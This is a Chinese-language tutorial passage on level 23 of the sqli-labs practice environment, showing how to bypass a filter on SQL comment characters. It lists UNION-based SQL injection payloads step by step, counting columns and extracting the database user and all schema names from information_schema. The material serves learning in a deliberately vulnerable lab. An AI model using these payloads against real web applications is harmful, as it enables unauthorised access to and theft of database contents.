sqli-labs(十)(過濾注釋符)


第二十三關:

這關還是一個GET型、字符串、單引符號、的有報錯的sql注入,輸入?id=1'  ,頁面會報錯

我們繼續按照之前的套路來,先輸入?id=1' or '1'='1

頁面正常顯示,說明這個地方又很有可能存在sql注入。繼續輸入?id=1' or  '1'='1' %23

發現頁面居然報錯,從報錯信息中發現我們的注釋符居然沒了,說明后台對注釋符中做了過濾。

像這種情況,沒辦法用注釋隔斷后面的sql語句,就只能用閉合的方法了。但是這里有一點就是,實際測試中,不知道表的行數,而這里又不能使用order by。 因為order by一般在sql語句的尾部,在order by后面再使用'閉合后面的單引號,sql會將order by 忽略掉。

例如我們輸入?id=1' order by 300 and '1'='1 

程序永遠不回出錯,也就無法使用oder by進行判斷了。這里就只能一點點的嘗試了

依次輸入

?id=1' union select  '1

?id=1' union select  1 , '1

?id=1' union select  1 , 1 ,'1

發現前來個都會報錯,而最后一個不報錯,說明當前查詢表的列數是三列。

 

 

 知道是三列后,后面繼續輸入

?id=-1'  union  select  1,2,'3

 

可以看到,第2、3兩列的數據會顯示出來,由於第三列用於閉合后面的單引符號,我們只能將第二列用於查詢操作。

輸入?id=-1'  union  select  1, user(),'3  查詢處當前用戶名

 

輸入?id=-1'  union  select  1, (select group_concat(schema_name) from information_schema.schemata),'3

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM